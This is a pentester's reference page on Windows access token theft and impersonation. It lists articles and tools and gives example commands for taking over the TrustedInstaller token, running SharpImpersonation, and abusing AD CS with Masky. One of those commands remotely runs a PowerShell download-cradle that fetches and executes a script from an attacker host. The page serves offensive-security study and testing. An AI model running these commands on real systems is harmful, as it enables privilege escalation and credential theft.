> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/token-manipulation.md).

# Token Manipulation

* <https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b>
* <https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa>
* <https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962>
* <https://xret2pwn.github.io//Access-Token-Part0x01/>
* <https://xret2pwn.github.io//Building-Token-Vault-Part0x02/>
* <https://rastamouse.me/token-impersonation-in-csharp/>
* <https://xakep.ru/2022/12/06/win-api-secrets/>
* <https://ardent101.github.io/posts/tokens_theory/>
* <https://habr.com/ru/articles/776298/>
* <https://offensivedefence.co.uk/posts/nt-token-theft/>
* [\[PDF\] Technical Analysis of Access Token Theft and Manipulation (McAfee)](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf)

![Access Token Theft and Manipulation (McAfee)](/files/SeJ1hJNZAolJCXCClnla)

## Trusted Installer Token

* <https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtObjectManager/NtTokenFunctions.ps1>
* <https://github.com/rweijnen/Posh-Snippets/blob/master/DCOM-FixUp.ps1>

```
PS > Install-Module -Name NtObjectManager -Confirm:$false
PS > Restart-Service TrustedInstaller
PS > $procId = (Get-Process TrustedInstaller).Id
PS > $token = Get-NtTokenFromProcess -ProcessId $procId
PS > $current = Get-NtThread -Current -PseudoHandle
PS > $ctx = $current.Impersonate($token)
PS > $impToken = Get-NtToken -Impersonation
PS > $impToken.Groups
```

## Impersonate to Request an ST

* <https://github.com/foxlox/GIUDA>
* <https://github.com/MzHmO/TGSThief>

## Tools

* <https://github.com/dievus/msImpersonate>
* <https://github.com/magnusstubman/tokenduplicator>

### Tokenvator

* <https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-a-tool-to-elevate-privilege-using-windows-tokens/>
* <https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-release-2/>
* <https://github.com/0xbadjuju/Tokenvator>

### SharpImpersonation

* <https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/>
* <https://github.com/S3cur3Th1sSh1t/SharpImpersonation>

```
PS > .\SharpImpersonation.exe list [elevated]
PS > .\SharpImpersonation.exe list user:PC01\snovvcrash binary:"powershell.exe whoami"
PS > .\SharpImpersonation.exe list user:PC01\snovvcrash technique:ImpersonateLoggedOnuser
```

### Koh

* <https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6>
* <https://github.com/GhostPack/Koh>

### Masky

* <https://z4ksec.github.io/posts/masky-release-v0.0.3/>
* <https://github.com/Z4kSec/Masky>
* <https://threadreaderapp.com/thread/1563247630129725442.html>

Combining with AD CS abuse:

{% content-ref url="/pages/-MfZ0oXSu7SaCaVp1WuM" %}
[AD CS Abuse](/pentest/infrastructure/ad/ad-cs-abuse.md)
{% endcontent-ref %}

```
$ pipx install -f 'git+https://github.com/Z4kSec/Masky.git'
$ masky -d tinycorp -u snovvcrash -p 'Passw0rd!' -ca 'CA01.megacorp.local\CorpCA' -dc-ip 192.168.1.11 10.10.13.37
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'powershell iex(new-object net.webclient).downloadstring(""""http://10.10.13.37/Invoke-Masky.ps1"""");Invoke-Masky /ca:CA01.megacorp.local\CorpCA'
```

### Impersonate

* <https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/>
* <https://github.com/sensepost/impersonate>
* <https://github.com/zblurx/impersonate-rs>